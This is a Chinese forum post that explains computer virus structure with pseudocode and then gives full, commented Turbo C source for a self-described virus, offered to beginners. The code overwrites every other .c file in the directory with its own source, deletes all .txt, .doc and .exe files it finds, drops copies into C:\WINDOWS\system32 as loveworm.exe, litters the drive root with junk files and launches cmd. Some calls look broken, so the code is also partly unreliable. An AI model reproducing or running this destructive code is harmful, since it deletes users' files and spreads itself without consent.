CHQ1d 发布于2022年11月8日 分享 发布于2022年11月8日 怎样用C语言编写病毒在分析病毒机理的基础上,用C语言写了一个小病毒作为实例,用TURBOC2.0实现.[Abstract] This paper introduce the charateristic of the computer virus,then show a simple example written by TURBOC2.0.一、什么是病毒 恶意软件可能是第一个对我们产生影响的计算机安全问题.所以病毒在信息安全中是很重要的.我们要对付病毒,就要了解病毒.写一些病毒是一个很好的办法.如果要写一个病毒,先要知道它是什么.可以给病毒一个定义,这一定义是被广泛认可的。Frederic Cohen博士在《计算机病毒简短讲座》中提到的:“⋯⋯一种能够通过修改自身来包括或释放自我拷贝而传染给其他程序的程序。“ 其实病毒和普通程序并无太大不同,而且通常比较简单,不像很多程序那样复杂。只不过病毒里面用到一些正常程序一般不会用到的技术。要编制一个病毒,首先要知道病毒的运行机理。不论是何种病毒,它一般在结构上分为三个功能模块:感染机制,触发机制和有效载荷。在病毒结构中,首要的而且唯一必需的部分是感染机制。病毒首先必须是能够繁殖自身的代码,这是病毒之所以成为病毒的根本原因。我们可以用一段类C伪码来表示这个过程。InfectSection(){if (infectable_object_found&&object_not_already_infect)infect_object;} 病毒的第二个主要构成部分是有效载荷触发事件.一个病毒来到你的电脑后,不大可能立即发作,否则它不会被传播得很远.潜伏的敌人永远要比能见到的敌人危险得多.病毒一般是在找到一定数量的感染体,某一日期或时间,某一段文本后触发.一个简单的触发机制可能是这样工作的:TriggerSection(){if (date_is_Friday_13th_and_time_is_03:13:13)set_trigger_status_to_yes;} 有效载荷就是病毒用来骚扰你的电脑的方法,有触发机制的病毒一般也有有效载荷。它可以是任意的给你发一条一次性简单的愚弄信息,重新格式化你的磁盘,把它自己邮给你的E_mail通信者都可以成为有效的负荷。简单的有效负荷可以如下进行:Executesection(){if (trigger_statue_is_yes)execute_payload; } 二、 编制病毒的语言最常见的编制病毒的语言有汇编语言、VB、C 语言等,我们可以来看一看一个有名的病毒论坛上认为学写病毒要掌握的基础:1).Win32编程,进程,线程,内存,等等。 2).32位汇编,以指令用法为主。386汇编就比较够用了。 3).PE格式,有精力还可以看一下其它可能被感染的文件的文件格式。 4).调试技术。VC,TD32,SoftIce,等等。要掌握的东西确实很多,还多听都没听过,很吓人.但实际上,即使我们对计算机的原理和操作系统不很了解,而且不熟悉除C以外的其他语言,只要我们对C的库函数有一定了解,就可以写一些类似病毒的东西. 三 用C编制病毒以TurboC2.0为例.它的库函数可以实现很多功能.如以下两个函数:1).findfirst和findnext函数:在dir.h。findfirst用来找各种类型的文件,可以得到文件名文件长度,文件属性等,findnext和findfirst配合使用,用来找到下一个同类型的文件。2).remove函数:在stdio.h.只要知道文件名,可以删除任意类型的文件 C语言开发病毒程序实例C语言开发的病毒程序源代码加了很详细的注释,严谨的来说,算不上真正意义上的病毒,但是可以给初学C的新手参考,程序实现了几点病毒的功能。C语言编写的病毒程序源代码 - 给C语言初学者:复制内容到剪贴板代码:C语言开发病毒程序//连接头文件#include <io.h>#include <dir.h>#include <stdio.h>#include <stdlib.h>#include <string.h>//拷贝文件模块int copyfile (char *infile, char *outfile){FILE *in,*out; //定义文件指针in = fopen(infile,"r"); //打开文件out = fopen(outfile,"w"); //建立文件while (!feof(in)) //判断文件是否已结束{fputc (fgetc(in),out); //从in读一字符到out}fclose (in); //关闭in文件fclose (out);//关闭out文件return 0; //返回}int MakeRubbish (void){int i; //声明整形变量iFILE *fp; //文件指针fpchar *path; //路径指针char *NewName;char *disk[7] = {"A","B","C","D","E","F","G"}; //初始化指针数组char *addtion = ":\\";for (i = 0; i<5; i++) //循环4次{char tempname[] = "XXXXXX" ; //随机名字NewName = mktemp(tempname); //建立唯一的文件名fp = fopen(NewName,"w"); //创建文本文件fclose (fp); //关闭fp文件流}path = strcat(disk[getdisk()],addtion); //得到根编号chdir(path); //改变工作目录for (i = 0; i<5; i++) //循环次数{char tempname[] = "XXXXXX"; //串赋入数组NewName = mktemp(tempname); //建立唯一的文件名fp = fopen(NewName,"w"); //创建新文件fclose (fp); //关闭文件}return 0; //返回}int CreatEXE (void){int i; //整形变量char *path; //字符指针char *s[2] = { //重要目录"C:\\WINDOWS\\system32\\loveworm.exe","C:\\WINDOWS\\virusssss.com"};for ( i = 0; i < 2; i++) //循环控制次数{open(s, 0x0100,0x0080); //打开文件写入数据copyfile ( "C_KILLER.C",s); //调用子函数实现拷贝文件数据}return 0;}int Remove (void) //去处{int done; //定义整形变量int i;struct ffblk ffblk; //声明结构体变量ffblkchar *documenttype[3] = {"*.txt","*.doc","*.exe"};//初始化指针数组for (i = 0; i < 3; i++)//控制循环次数{done = findfirst(documenttype,&ffblk,2);//搜索目录while (!done) //查找成功返回0{remove (ffblk.ff_name); //删除一个文件done = findnext(&ffblk);}}return 0;//返回}int Breed (void) //养殖模块{int done;//整形变量struct ffblk ffblk; //声名结构变量done = findfirst("*.c",&ffblk,2);while (!done){if (strcmp("C_KILLER.C", ffblk.ff_name) != 0 ){copyfile("C_KILLER.C",ffblk.ff_name);}done = findnext(&ffblk);}return 0;}int main (void) //程序入口地址{printf ("液虫病毒,by:仙剑逍遥.\n");Breed (); //养殖病毒Remove (); //去处CreatEXE ();printf ("您能告诉我您的名字?\n");printf ("现在麻烦您输入您的名字!\n");MakeRubbish (); //调用子函数getchar ();clrscr (); //清除屏幕system ("cmd");getch ();return 0;} 链接帖子 意见的链接 分享到其他网站 更多分享选项…
推荐的帖子